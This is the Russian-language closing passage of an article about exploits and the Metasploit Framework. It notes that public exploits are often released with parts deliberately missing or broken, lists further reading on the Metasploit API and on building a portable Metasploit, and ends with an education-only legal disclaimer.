эксплоите или, вообще, запуская непонятный exe’шник, далеко не всегда можно
доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими
частями и специально оставленными ошибками – это непременно остановит армию
скрипткидис, но для понимающего человека едва ли станет серьезной задачей.
Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь
хакеры люди – логичные и понятные :).
Подробная информация об Metasploit API:
Блог Metasploit Framework:
Статья по доработке эксплоита:
Видео, показывающее, как создать Portable-версию Metasploit для размещения на
флешке:
WARNING
Информация представлена исключительно в ознакомительных целях, чтобы
показать, чего стоят критические уязвимости в коде и как злоумышленники могут их
использовать. Не повторяй эти действия в противозаконных целях. В противном
случае автор и редакция ответственности не несут!